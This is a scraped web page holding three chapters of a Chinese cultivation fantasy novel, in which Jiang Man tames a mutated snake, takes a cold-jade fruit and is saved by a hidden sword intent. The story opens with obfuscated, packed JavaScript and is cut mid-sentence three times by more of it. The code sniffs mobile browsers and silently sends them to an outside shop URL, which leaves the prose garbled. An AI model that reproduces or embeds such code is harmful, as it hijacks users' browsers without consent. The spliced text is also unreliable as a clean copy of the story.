d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125915|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将轻身诀使用在数个玉瓶上,控制玉瓶漂浮在花边,轻且稳地接住了所有的月魄凝珠。 一滴、两滴、三滴…… 她做得极其专注,甚至暂时忘记了周围可能存在的危险。这种重复性的精细工作,对她来说有种奇妙的安抚作用。就像在凌霄峰沿着石阶一朵朵种花、一遍遍绘制阵法一样,能让她纷乱的心绪平静下来。 半个时辰后,她已经采集了三十多滴凝露。玉瓶内,淡蓝色的露珠轻轻晃动,散发出纯净的冰寒灵气。 这数量不仅够钟离樾使用,还能有剩余。 江蔓收起玉瓶,没有第一时间离开,而是盘腿坐下,她心有所感,修为突破了。原本被月魄花吸引而来的月华正慢慢散去,但随着江蔓身上灵气波动,月华又集中起来,落在了她的身上,将她整个人都笼罩其中。寒潭边,其他东西仿佛暗淡下去,只有她身上格外明亮。 时间流逝,月光消失,清晨的第一缕光亮落在江蔓身上,她睁开眼,喜笑颜开,她终于突破了,现在是练气八层修士,离筑基又近一步。她喜滋滋摇了摇手中的凝露,因为借着月华突破,修为稳固,都不用服用凝露。 “吱吱!吱吱吱!” 怀中大黄叫了起来,它从江蔓怀里钻出来,站在她肩上,小爪子拼命指向寒潭深处,激动得浑身金毛都竖起来了。 大黄已经忍了许久,但它是一只懂事的好鼠,知道主人突破的时候不能打扰,便一直等着,现在江蔓进阶了,它才情绪外露出来。 江蔓顺着它指的方向看去。 寒渊瀑布湍急的水流后面似乎有什么东西在发光,光线很微弱,若不是大黄提醒,她根本不会注意到。 那是什么? 江蔓犹豫了。 按照她一贯求稳行事风格,此刻应该立即离开。凝露已经到手,她的修为也有所突破。此次来青鸾秘境的目的已达成,没必要节外生险。这里有筑基妖兽打斗的痕迹,定是隐藏着她不知道的危险,尽快脱身才是明智之举。 可是…… 她看向肩上激动得快要跳起来的大黄。 大黄虽经常带江蔓找些不值钱的东西,但它对灵物感知极其敏锐,若不敏锐,也不可能将沿途所有能卖灵石的灵草一网打尽。 现在它如此激动,那寒潭深处的东西,定然非同一般。 江蔓闭上眼,脑海中闪过许多画面。 她想起钟离樾在凌霄峰上练剑的背影,剑气如虹,孤冷如月,他仿佛没有瓶颈,每次都能顺利进阶。 想起自己在凌霄峰山脚下的小院里,一遍遍练习那些最低阶的法术,进展缓慢的样子;也想起她在太华宗藏书阁里不断翻看那些无人问津的杂书、残篇,只为找到突破的契机…… 她喜欢钟离樾,从十五年前他向她伸出手的那刻起就喜欢。但她不想做他的附属品,不想永远仰望着那道遥不可及的背影。 她想跟上他的脚步,甚至想和他看到同样的风景。站在最高处,到底是什么滋味呢? 可是五灵根筑基何其艰难。若无大机缘,成功率不足一成。 富贵险中求。 修仙之路,本就是与天争命。她天赋比不上他,那就多学几样,多拼几次。 江蔓睁开眼,眼神已经变得坚定。 她轻轻摸了摸大黄:“走!” 4. 渔翁得利 虽说是要与天争命,但江蔓并没有莽干。 她又加固了一遍敛息阵,确保只要不主动攻击或动用大量灵力,金丹以下很难发现她的踪迹。接着检查了一遍身上的符箓和法器,桃花流云剑被她收在袖中,符箓和制作阵法的材料在储物袋里。 就连大黄也拍了拍自己胖乎乎的胸脯,表示鼠鼠准备好了。 江蔓沿着潭边向瀑布移动,直到走到近前,才看到瀑布后有个被水帘遮蔽的洞穴,若不是大黄指引,怕是很难发现这里。 一般修士收集了寒冰草和月魄凝露后便会离开,这里温度实在太低,只站了一会,江蔓的睫毛便结了冰,人仿佛被冻僵似的,她不得不用御火诀取暖才缓解身上的冷意。 洞穴内隐隐透着光,似乎还带着药香,闻了之后,只觉得灵气涌动。江蔓精神振奋,果然没有来错。她不再犹豫,将大量灵力汇入敛息阵,同时运转护身法诀,朝着瀑布冲了过去。 瀑布的水流看上去普普通通,没有攻击性,等江蔓真正站在瀑布下,才知道这流水的厉害,每一滴水珠都像一柄利刃,刀刀刺向她的身体,不仅身体痛,神识也在痛。 江蔓咬牙,将大黄护在怀中,撕开一张神形符,加速冲了过去。 只是刚冲出瀑布,便感觉眼前一花,瀑布后面竟是一片梅林,风吹过,有花瓣飘落,江蔓有些愣神,随即感觉花瓣如飞刀般割在她身上。 不对劲,她反应过来,这里被人布置了幻阵。 幸而江蔓喜欢研究阵法,幻阵更是研究许久,手持桃花流云剑砍断角落里一根不起眼的梅树后,梅林消失,随即出现一片火海,火焰将江蔓皮肤映得发红,竟是一个连环阵。 江蔓有些新奇,忍着火烤研究了一番连环阵的机理后才一剑劈开阵眼。 火海消失,江蔓顺着山洞向内走去,直至走到尽头,才发现别有洞天,山洞外面竟是一片开阔的旷野。 蓝天白云,碧草悠悠,中央有一片湖,湖水清澈,面积不大,其中长着一株奇特的树。 树高不过三尺,通体透明,看上去像是品质极佳的冰晶,枝干透明,里面有浅蓝色的灵液流动。树顶上一枚火红色果子状的晶体正在缓缓成型。 虽然不知道那是什么,但光看着,江蔓就觉得是好东西。她刚想凑近,却听到一声尖锐禽鸣。声音来自头顶,她伏低身体,屏住呼吸,抬头看去,一只翼展超过十米的巨雕盘旋在天空,它一身金色羽毛泛着金属光泽,爪如金钩,周身散发着筑基期妖兽的威压。 这就是在寒渊谷留下爪痕的猛禽了。 江蔓屏住呼吸,幸亏有阵法掩护,金雕没有发现她,不然肯定死路一条。 难道就这么放弃这个灵物?江蔓有些不甘心。 恰在这时,原本平静的湖水沸腾起来,一条足有三米粗的蛇破水而出。它有两只红宝石一样的眼睛,银白色鳞片在阳光下闪闪发光。这竟是一条变异的冰鳞蛇,比师兄地图上绘制的胖乎乎的蛇可大多了,也威猛多了,光看气息,也有筑基期修为。 一雕一蛇隔空对峙,都对冰晶树虎视眈眈。 江蔓知道打斗痕迹从何而来了,应是有人无意间发现了这里的异常,想要探查,亦或者是想要抢夺那颗奇异的果子,没想到惊动了这两头筑基期妖兽。 只是不知道那人是被赶走还是被击杀了。 江蔓的心跳加速。一方面是紧张,另一方面是看到了机会。 若是只有一头筑基期妖兽,她会立即遁走,甚至都不会多看一眼那奇异的冰晶果。但遇到两头针锋相对的筑基妖兽,却让她有了渔翁得利的机会。 江蔓决定等一等。 冰晶树顶端的果实逐渐圆润,颜色也愈发鲜艳。在某一刻,透明枝干内的灵液流动速度肉眼可见的加快,将能量都汇聚到了果子中。果子表面浮现复杂的纹路,一股沁人心脾的异香猛地爆发出来。 那是一种清冷中带着甘甜的气息,江蔓吸了几口,灵力运转都快了几分。 这奇异的果实成熟了。 师兄地图上标注的冰魄蛛和其他小型妖兽从四面八方涌了出来,朝着中间的冰晶树冲了过去,它们被果实吸引得失了神志,甚至忘却了对高阶妖兽的恐惧。 金雕一挥翅膀,无数冰锥从它翅膀中飞出,直接将地上的大半冰魄蛛和小妖兽钉死,然后冰锥化剑冲着变异冰鳞蛇刺了过来。 冰鳞蛇也不甘示弱,蛇尾一甩,所过之处凝结出一条冰道。随即大口一张,竟喷出一条火龙,朝着金雕扫去,这冰鳞蛇竟然变异出火属性,且这火似乎是一种灵火。 即使这种紧张时刻,江蔓也不由稀奇地多看了两眼这蛇。冰鳞蛇一边喷火,一边用粗壮的蛇尾横扫冰棱,威风凛凛、气势汹汹。当然金雕也不弱便是了,翅膀一扇,卷起强风带着冰雨。 两头筑基妖兽的搏杀,让那些失去理智的小型妖兽清醒过来,它们大多死在了火与冰的攻击下,剩下一小部分慌乱逃窜,一时间这里有些混乱。 两只妖兽修为相当,斗得你死我活,心神都在对方身上,加上阵法掩护,一时间竟都没发现隐在暗处的江蔓。 这让江蔓有了机会。 她从储物袋中取出十二面巴掌大的阵旗,这是她自己炼制的阵旗,也是她的杀手锏,原本准备保命用的。 当然,这十二面阵旗也是造成她这么贫穷的原因之一。 江蔓扣扣搜搜地摸了摸阵旗上繁复的符文,颇有些不舍,但看了一眼奇异的冰晶果,告诉自己那更值钱。 阵旗虽不如制作好的阵盘那样能够随时使用,但胜在机动性强,可以根据需求临时布置适合的阵法。 江蔓没敢靠近冰晶树,这两妖兽虽斗得厉害,但若有东西靠近冰晶树,必定会被它们第一时间发现。 她小心绕着湖边,每隔一段距离就埋下一面阵旗和几块灵石。 受刚刚遇到的连环幻阵的启发,江蔓在湖边布置了一个连环阵法,先是困灵阵,再是迷踪阵,最后是火焰阵,火焰材料也是来源于刚刚的连环幻阵。那幻阵所用材料上佳,其中一颗火灵矿更是中品灵矿,若不是阵法布置手法粗糙,连筑基期都能杀得。 现在反而便宜了江蔓。 以她的修为,平时想要纯靠阵法斩杀筑基后期妖兽可能性不大,但现在机会难得,两只妖兽打斗后,必定两败俱伤。很大可能只能存活一只,存活的那只也会重伤,那时她的阵法便能与重伤的妖兽斗上一斗了。 江蔓在阵法上有天赋,加上动作熟稔,在两只妖兽决出胜负前便已布置好阵法。 两只妖兽的战斗也进入白热化阶段。 冰鳞蛇张开血盆大口咬向金雕腹部,金雕振翅避开,但却被蛇身缠住,眼看避无可避,金雕忍着剧痛将利爪狠狠抓向蛇眼。 一只眼被雕爪抓伤,冰鳞蛇痛得疯狂扭动,却没有松开缠住金雕的蛇身,反而越发用力,“咔嚓”一声脆响,金雕脊柱断了。它用最后力量啄进冰鳞蛇七寸,血液喷溅而出。 冰鳞蛇痛极,忍着痛口吐火焰,火烤金雕。 金雕死了,冰鳞蛇也受重伤。 江蔓看得心惊肉跳,这是她第一次直面筑基修为的战斗,血腥远超她的想象。若不是她小心谨慎,怕也和那些冰魄蛛一样,变成地上一滩肉泥了。 冰鳞蛇伤痕累累,眼睛和七寸受了重创,身体被冰锥和利爪划出数道血口,但它胜了。它昂起脑袋,挣扎着朝湖边游来。潜意识告诉它,只要它吃了冰晶果,便能修复伤势,甚至有可能继续变异,成功化蛟。 江蔓屏住呼吸。 一步……两步…… 蛇身进入阵法。 就是现在! 江蔓运起灵气,十二面阵旗同时亮起光芒,她布置在湖边的阵法激活。 阵法激活的瞬间,冰鳞蛇察觉到了异常。但它的伤势太重,加上困灵阵和迷踪阵的先后干扰,俨然已经晕头转向,只能在阵法中不断冲撞,鲜血流了一地。 江蔓咬破指尖,将一滴精血弹向阵法核心,埋在地下的火灵矿开始疯狂吸收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125916|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵气。 十二面阵旗间交织出火红色的光线,光线在空中交织成火网,朝着冰鳞蛇兜头压下,将蛇压在地面上,随即地上燃起火焰,随后越烧越旺,冰鳞蛇完全被困在火焰中。 冰鳞蛇本就重伤,被火焰笼罩的瞬间,发狂拍打着尾巴。它愤怒嘶鸣,死死盯着江蔓藏身的方向,江蔓的灵气波动终于让它发现了这个一直隐藏在暗处的人类。 冰鳞蛇调转蛇头,朝着江蔓藏身的地方扑了过来,即使垂死,筑基妖兽的反扑依然恐怖。 一道火龙朝江蔓呼啸而来。 江蔓就地一滚,火焰擦着她的身体射在身后的岩石上。坚硬的冰岩被烧着,瞬间化成灰。好可怕的火焰,幸亏这蛇被金雕重伤了。 江蔓不敢停歇,撕开身上最后几张神行符,不断转换位置躲避攻击,同时运转灵力操纵阵法,阵法中的火焰越烧越旺的同时,五处阵旗上符文闪动,在火焰中炸开。 “轰隆隆……” 五个阵旗,五次爆炸,每一次爆炸都给冰鳞蛇带来一次重击。 火焰将冰鳞蛇完全淹没。 爆炸持续了整整三息。 当烟尘散尽时,江蔓看到了阵法中的情况。 冰鳞蛇瘫倒在阵法中,蛇身焦黑,多处鳞片碎裂翻卷,露出下面烧焦的血肉。它还没有死,但气息已经微弱到了极点。 江蔓缓步上前,举起桃花流云剑。 她此刻头发被火焰燎得卷曲,衣衫破损,灵气所剩无几,所幸只有些烫伤。 冰鳞蛇预感到了什么,眼中闪过恐惧,拼命挣扎,但重伤之身实在无力移动,眼看着江蔓手中的剑要插到它的七寸,完好的那只蛇眼突然流出血泪,随即蛇身一颤,拼尽全力在江蔓虎口咬了一下。 江蔓大惊,以为这是冰鳞蛇的临死反扑,她的战斗经验还是太少了,竟然忘记防备。 但随即她感受了一番,表情古怪起来,这蛇竟认她为主了? 冰鳞蛇认主耗尽了全部的力气,只见它扭动了下身躯,变成拇指般粗细,乖巧得盘在江蔓的手腕上。蛇身通体银白,一动不动像是一个精致的手镯。只是此刻蛇受了重伤,手镯破破烂烂罢了。 即使江蔓大不理解,但冰鳞蛇认她为主,便不能伤害她,收获了一个筑基期妖兽,总归是好事。 想到冰鳞蛇受的伤,她肉痛地掏出一颗养神丹递到它的嘴边,养神丹比回气丹要贵些,是疗伤的上好丹药。刚刚为了困住冰鳞蛇,她库存都快耗尽了,现在丹药是用一颗少一颗。 现在冰鳞蛇是自己蛇了,养好伤对她有好处。 冰鳞蛇将丹药舔入口中,还伸出蛇信舔了舔江蔓的手指。 江蔓:“……” 它怎么能这么快适应讨好主人的生活?她还是习惯这蛇桀骜不驯、气势汹汹的样子。 自两只筑基妖兽打斗开始,大黄就缩到江蔓的怀中不敢探头,但现在看到冰鳞蛇对江蔓谄媚的样子,顿时怒火中烧,连天性中对筑基妖兽的胆怯都忘了,站在江蔓的肩膀上冲着冰鳞蛇“吱吱”叫了起来。 我才是主人最喜欢的鼠,你这个心机蛇不要想抢走主人的欢心。 冰鳞蛇受了重伤,虽吃了丹药,一时也无法恢复,但被挑衅,还是直起身,展示筑基大妖兽的威势,它可是寒渊谷一霸,这种小鼠以前都不配出现在它面前。 但它现在重伤,只能冲大黄吐吐蛇信。 江蔓不懂两个宠物在说什么,以为它们在交流感情,顿觉欣慰。 因冰鳞蛇认主,她现在能完全控制它,江蔓对冰鳞蛇也多了几分亲近,觉得自己对两个宠物要一视同仁:“你全身银鳞,双目如珍宝,实力强劲,口吐灵火,我准备给你起个好听的名字……” 大黄浑身炸毛,凭什么! 冰鳞蛇有些期待。 “就叫你小白怎么样?” 大黄满意了。 冰鳞蛇自闭,蔫蔫地盘在江蔓手腕上,一动不动。认人类为主真苦啊,但是为了活命,只能忍着了。 5. 寒玉灵果 江蔓吃了颗回气丹后便去收拾战利品了。 她取出剑置于水面,剑身变大,随即踩在上面朝湖中央的寒玉树靠近。筑基期修士方能御剑飞行,但她只是暂时用剑做落脚小舟,短时间内还是能用法诀控制的。 引发两只筑基期妖兽争斗的果实已经熟透,因它们打斗时有意避开它,此刻毫发无损。 缠绕在江蔓手腕上的冰鳞蛇感受到果子的气息,突得直起身子,那只完好的独眼死死盯着果实,蛇信嘶嘶吐着,还未发出声音,口水却从嘴里滴了出来,生动演绎什么叫垂涎三尺。 江蔓:“……” 她感受到这果子的珍贵了。 大黄本就为心机蛇讨好主人的行为暗戳戳生气,见这蛇竟敢觊觎主人的果子,当即壮起鼠胆,伸出爪子拍了一下冰鳞蛇的脑袋。 冰鳞蛇大怒,小小寻宝鼠竟敢冒犯它,但看到大黄缩在江蔓的怀里,又忍住怒火,谁让它现在寄人篱下,认人为主了呢? 蛇蛇委屈,但蛇蛇不能说。认人类为主真是太苦了,被欺负了竟然只能无能狂怒。 冰鳞蛇虽不能开口说话,但因有筑基期修为,加上与江蔓定了主仆契,也能和江蔓简单交流。 江蔓从它那知道了果实的信息。 这树是寒玉树,生于极寒灵脉汇聚之地,百年发芽,百年成长,百年结果,百年成熟,成熟后的寒玉果通体如玉。妖兽服用可直接提升修为,甚至有几率觉醒体内上古血脉。人类虽不能直接服用,但可辅以其他灵药炼成“玉髓丹”,有洗经伐髓、稳固根基之效,对筑基、结丹都有大用。 这棵寒玉树在青鸾秘境已经五百多年,原本长在寒潭边,吸收寒渊谷里寒脉灵气成长,这也是寒渊谷地理位置优越,灵气浓郁,却一直没有天材地宝的原因。 百年前,青鸾秘境现世,冰鳞蛇得了些机遇发生变异,发现已经开始结果的寒玉树,知道果实珍贵,便将树偷偷挪到了这处。 冰鳞蛇心酸,它藏得小心,没想到果实成熟动静太大,不仅被金雕盯上,还被江蔓捡漏了。 江蔓此刻是不懂蛇蛇心里委屈的,她喜滋滋取出玉盒,小心采摘。 在江蔓采下寒玉果的瞬间,整株寒玉树以肉眼可见的速度枯萎,最终化为一堆粉末。她将寒玉果放入玉盒中,果实瞬间光华内敛,变得温润如玉起来。 成了。 江蔓盖上玉盒,贴上封印符,小心收入储物袋最深处,穷鬼修士第一次见这级别的天材地宝,可得好好收着。 见冰鳞蛇口水还在哗哗往下淌,她颇为豪气,一挥手:“小白,等回去之后,灵果分你一部分。” 冰鳞蛇照顾寒玉树百年,现在又是“自己蛇”,江蔓也不小气。且若能变异化蛟,对她也有好处。 冰鳞蛇愣住了。 这……这…… 它舔了舔江蔓的手指,温顺了许多,有个主人也不完全是坏事嘛。此刻它完全忘记了之前江蔓用阵法将它炸得皮开肉绽的事情,妖兽最讲究强者为王,江蔓打败它,它便愿意臣服。 大黄不屑地“吱吱”,嘲讽了心机蛇几声。 江蔓点了点它金色的脑袋:“你也有份。” 不白来,大家都不白来。 大黄僵住,随即猛地窜到江蔓的手心,将冰鳞蛇蛇头挤开,紧紧抱着江蔓的手指不松手。 一鼠一蛇各自乐呵,江蔓继续收拾。她走到金雕尸体旁,用短刃割下雕爪和雕喙,这是不错的炼器材料。又小心地收集了一些完整的金羽,这些羽毛自带冰风属性,是制作冰系符笔的上好材料。当然金雕的肉也不能浪费…… 做完这一切,她才长长地舒了一口气,整个人近乎虚脱地坐倒在地。 她的十二面阵旗毁了五面,身上的灵石几乎被榨干,还有各种辅助符箓……这一战,几乎耗尽了她这些年来积攒的所有攻击性物资。 真是一朝回到解放前。 但还是发财了! 月魄凝露、寒玉果、一只筑基期妖兽的尸体,收服了一只变异冰鳞蛇,还有寒冰草等各类能换灵石的灵草……这就是一夜暴富的感觉吗?青鸾秘境可真是来对了。 江蔓正感慨着,忽听与瀑布相连的洞穴方向传来人声。 “谢师兄,就是这里,寒玉果就在瀑布后。”声音年轻,带着掩饰不住的兴奋,随即便是惊怒,“怎么回事?我布置的阵法被人破了。” 另一个声音低沉许多:“寒玉果这等宝贝,恐怕不仅是妖兽盯着,其他修士也会觊觎。” 年轻些的修士冷哼:“这青鸾秘境,还有人能从我们两个筑基修士手中夺走东西?” 脚步声快速靠近。 江蔓心中一沉,她现在状态不好。连续催动阵法、引爆阵旗,灵力几乎见底。身上攻击性符箓消耗殆尽,仅剩几张辅助符箓。而那两名来者,从他们对话判断,赫然是两个筑基期修士。 完全不是对手,得尽快离开。 念头急转间,江蔓向湖边退去,但那两人速度很快,眨眼间,两道身影也已穿过瀑布水帘,踏入此处。 走在前面的是一名紫袍青年,约莫二十岁,面容俊朗,但眉宇间带着几分倨傲。紧跟其后的是一位略大些的青年,容貌平凡许多,周身气息沉稳,应该是那位“谢师兄”。看他们衣襟上绣着的金色纹路和腰间挂着的玉牌,是凌虚阁内门弟子。 两人一走出洞穴,目光就落在此处唯一的活人江蔓身上。 “你是谁?”紫袍青年皱眉打量江蔓,一开始还有些惊艳于江蔓的外貌,但等他目光落在她的衣服上,眼中闪过轻蔑,“太华宗杂役弟子?” 随即他便看到地上那株已枯萎的寒玉树,脸色骤变:“寒玉果被你摘走了?” 江蔓不着痕迹退后:“两位前辈,你们来迟了。” “放肆!”青年厉喝,“这寒玉果是我先发现的。我在谷口布下幻阵,本打算等果实成熟后再来收取。你一个练气期弟子,竟敢趁我不在偷走寒玉果?” 原来如此。 江蔓终于明白,为何寒渊谷会有打斗痕迹,为何洞穴里会有连环幻阵,原来都是这紫袍青年的手笔。 紫袍青年秦武发现寒玉果后,被冰鳞蛇和金雕赶走,他觉得以自己筑基初期的实力对付不了这两只妖兽,便想着找实力更强的谢师兄帮忙,一起摘下寒玉果。 没想到出现了江蔓这个变数,寒玉果竟被一个练气期弟子拿走了。 被两人盯着,江蔓只觉心头猛跳,想立即转身就跑,但还是舍不得刚到手的灵果,见这两人也是名门正派,试图先讲两句道理:“前辈,这灵果本就是无主之物。” “好一个无主之物。”秦武怒极反笑,“区区练气期,也敢和我争?把灵果交出来,饶你不死!” 话音落下,筑基的威压如潮水般涌向江蔓。 江蔓闷哼一声,连退三步,脸色发白。修为差距太大,单是威压就让她气血翻腾。 旁边的谢无回没有管秦武的施压,只是冷淡吩咐:“秦师弟,毕竟是太华宗弟子,不宜过分,留她一命吧。” 秦武表情不悦,与江蔓交流这几句,都觉得自己被冒犯了,毕竟平日在门派里,那些外门弟子哪个不捧着他?甚至鞍前马后跪舔他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125917|196070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的也不少。他一步踏出,从腰间取出缠绕的鞭子,朝江蔓面上甩了过去:“看来你是不见棺材不掉泪。也罢,我自己来取。” 江蔓不会站着挨打,也抽出桃花流云剑,朝着秦武劈了过去。 秦武对江蔓的攻击不屑一顾,一个练气期修士的攻击,能有什么威力? 没想到江蔓一剑挥出,竟带着几分凛冽的剑气,同时他眼前一花,置身于一片桃花林中,林中桃花在一刹那一齐绽放,香气萦绕,让秦武有些分神,随着桃花瓣向他面上袭来,秦武终于意识到自己竟陷入幻境中。 虽发现这是幻境,但却发现这个他瞧不上眼的杂役弟子,阵法上的造诣竟比他一个内门弟子要高,他一时间竟无法破除这桃花幻境。 就在此时,一道剑光已到眼前,将他击退了几步。 江蔓的修为到底只有练气期,体内灵气也没有恢复,将秦武击退几步后,桃花幻境就消失了。 秦武脸上泛红,在同门师兄面前被一个修为不济的练气期弟子击退,又怒又恨:“自寻死路!” 他脚下生风,手中长鞭被甩出残影,直射江蔓心口。江蔓急退闪避,还是挨了几鞭子。 她忍着痛,退到了之前布置阵法的位置,她刚刚只来得及收拾战利品,埋在湖边的阵旗还没有拆除,现在刚好再用。 秦武紧跟江蔓而至,没注意地上的异常,一步踏入阵法中,阵法运转,火焰升腾,他被困在其中。 江蔓不等他反应,手指纷飞,运起法诀,剩下的阵旗同时炸开,“轰轰”几声响,火焰越发猛烈,碎石乱飞,秦武被震飞,虽不像冰鳞蛇那样皮开肉绽,但也受了伤。 江蔓没有停留,转身就向湖里冲去。 冰鳞蛇受了重伤,虽是筑基期,此刻也帮不上忙,但它到底是寒渊谷的本地住民,守着寒玉树多年,对此处环境最为熟悉,它告诉江蔓湖底有逃生的通道。 江蔓只要潜入湖底,就还有一线生机。 但就在她即将冲入湖水的那一刻,一直沉默的谢无回动了。 他只是向前踏了一步。 一股比秦武强横数倍的威压降临,如无形大手将江蔓牢牢按在原地。她闷哼一声,嘴角溢出鲜血,身体僵直,连手指都无法动弹。 这谢无回竟是筑基后期修士。 江蔓瞬间明悟,谢无回这种修为,应该是凌虚阁的天骄,他来这里是冲着天阶功法来的,恰好遇到了寒玉果成熟。她感叹自己时运不济,还是没有发财的命。 “师弟,你太急躁了。”谢无回终于开口,声音平淡无波,看也没看被困在火焰中的秦武,缓步走向江蔓。 “阵法用得不错。”谢无回停在江蔓身前三尺处,目光落在她怀中的储物袋上,“可惜,修为差距不是小聪明能弥补的。凌虚阁和太华宗向来交好,交出寒玉果,我放你离开。” 江蔓咬着牙,试图调动最后一丝灵力,但经脉在威压下如被冰霜冻住,连运行都困难。这就是筑基后期和练气后期之间的差距吗? 谢无回的手缓缓抬起,食指伸出,指尖凝聚起一点金色的光芒。那光芒虽小,散发出的热意却让周围温度骤升,就连地面都有被烤焦的痕迹。 这一指点出,江蔓必死无疑。 江蔓虽然想要宝贝,但是还是惜命的:“等等,等等,前辈,我把东西给你……” 谢无回没理会江蔓,指尖继续朝着她点去。 江蔓急了,这谢无回竟是一个伪君子,嘴里说的好听,但根本就没准备留她性命,恐怕是怕她回去泄漏寒玉果的事情,毕竟是天材地宝,觊觎的人肯定很多。 6. 凌霜剑意 关键时刻,冰鳞蛇从江蔓手腕滑落变回原型,随即用身体将江蔓包裹,卷着她朝湖水中冲去,它准备用自己的身体帮江蔓硬挡这一击。它是筑基期妖兽,虽然重伤,但皮糙肉厚,受这一击不会死,江蔓就不一定了。 江蔓也咬牙从怀中掏出她所有的阵盘,朝着谢无回扔过去,随后一齐引爆所有阵盘。 谢无回被这些爆炸的阵盘迎面砸上,虽是筑基后期修为,但还是受伤了。他摸了一把额头流出的血,面色沉郁,指尖金色光芒变成一根长枪,朝江蔓射去。 若是冰鳞蛇没有受伤之时,他可能还会谨慎些,但这蛇重伤未愈,根本挡不了他。 长枪穿过冰鳞蛇,继续向江蔓身上刺去。 江蔓绝望,难道今天要死在这了? 这一刻,她的不甘和无奈达到巅峰:“虽说是人生自古谁无死,但我不甘心,太不甘心了!” 话音落下,整个青鸾空间颤了颤,仿佛发生了地震,北方有什么东西出现了,不过江蔓此刻没心思管青鸾空间的变化。在金色长枪即将戳穿她时,她腰间的玉坠发出光芒。 这玉坠是她找到阴阳果后,钟离樾送给她的。玉佩通体雪白,是简单的剑形,没有符文,没有灵光,就像凡间最普通的饰物。这些年,她从未发现它有任何特殊之处。 但此刻,玉坠突然变得滚烫。 一股刺骨的寒意从玉坠中爆发,不是寒渊谷的寒冷,而是一种更纯粹、更凛冽的寒意,其中隐约带着几分寂灭之感,那是一种极寒的剑意。 冰蓝色的剑气从玉坠中冲出,在空中凝结成一柄虚幻的长剑。剑身透明,剑刃处泛着寒光,剑尖所指,连空间都仿佛被冻结了。 射向江蔓的长枪先是被冻住,随后消散为虚无。 谢无回的脸色终于变了。 他收指急退,同时双手结印,一面金色盾牌在身前凝聚。但那虚幻长剑只是轻轻一斩。 “咔嚓!” 金色盾牌如纸般破碎。 剑气余势不减,擦着谢无回的肩头掠过,在他左肩留下一道深可见骨的伤口。伤口处没有鲜血流出,而是凝结出晶莹的寒霜,寒霜迅速蔓延,转眼间就覆盖了他整条左臂。 谢无回闷哼一声,再退几步,右手疾点左肩穴位,吞吃数颗丹药,才勉强止住寒霜的蔓延。他看向那柄悬浮在江蔓身前的虚幻长剑,眼中满是惊骇:“剑意凝形,这是凌霜剑气……你是钟离樾什么人?” 江蔓愣住了。 她低头看向那枚已恢复平静的玉坠,又看向那柄护在她身前的虚幻长剑。剑身微微颤动,发出清越的剑鸣。 她佩戴这枚玉坠十年,从未想过其中竟藏着钟离樾的一道剑气。 一道可以斩伤筑基后期的护身剑气。 “他……”江蔓张了张嘴,却不知该说什么。 但现在不是想这些的时候,她看了一眼杀气腾腾的谢无回,和已经从阵法中挣脱、一身烧焦痕迹的秦武,果断抓起重新变小的冰鳞蛇跳入湖水中。 秦武还处在茫然状态,见江蔓逃走,瞬间急了:“师兄,她要跑了,我们赶紧追。” 谢无回冷着脸,直到面前悬浮的虚幻长剑化作冰蓝光点缓缓消散,才哑着嗓子开口:“追什么追?你难道想感受钟离樾的剑意?” 秦武脸上露出恐惧,谢无回知道自己失态了,神色缓了缓:“刚刚那地动山摇的动静你也听到了,应该是天阶功法出现了,找天阶功法才是正经事。至于寒玉果……”谢无回摇了摇头,“想必是没有缘分了。” 秦武是凌虚阁掌门之子,一贯倨傲,但听到钟离樾的名字还是有些惧怕的,不敢再多提江蔓的事。只是想到钟离樾他不免感慨:“听说清晏真人和师兄你是同一时间拜入各自宗门,这才多久,他竟快要突破元婴期了,可真厉害。” 听闻此言,谢无回脸色阴沉了一瞬,不过很快恢复自然,没让秦武看出来。 *** 顺着冰鳞蛇的指点,江蔓顺着湖水下的涌道潜行很久,终于离开了寒渊谷范围,她从水里钻出,外面是一处隐蔽的山洞。她瘫坐在地,大口喘息。 刚才那一瞬,她真的以为自己要死了。 “钟离樾……”她手指轻轻摩挲着玉坠,玉坠已经从中间碎开,想必发出那道剑意后便失去功效了。江蔓心中涌起复杂难明的情绪,有温暖,有酸楚,更多的是一种悸动。 他又救了自己一次。 但很快,她强迫自己冷静下来。 虽然她已经逃走,脱离了危机,但凌虚阁的那两人未必会善罢甘休。谢无回认出了凌霜剑气,暂时不敢妄动。可一旦离开秘境…… 江蔓握紧储物袋。还是要提高修为,尽快筑基。只有筑基成功,遇到这些高高在上的天骄时,才有一战之力,才不用再借钟离樾的威名自保。 江蔓将刚刚帮她挡了一击冰鳞蛇捧在手心,有些着急:“小白,你没事吧?” 听到江蔓的呼唤,冰鳞蛇微微抬起了蛇头,此刻它实在凄惨,原本就被金雕划伤一只眼,又被江蔓烤得皮肉酥脆,现在被谢无回一枪射穿身体,幸亏射穿的是蛇尾部分,没有伤到它的根本。 江蔓心疼,后悔自己没有专门给灵兽休息养伤的灵兽袋,灵兽袋太贵,她买不起。只能不断掏出养神丹塞进它嘴里。 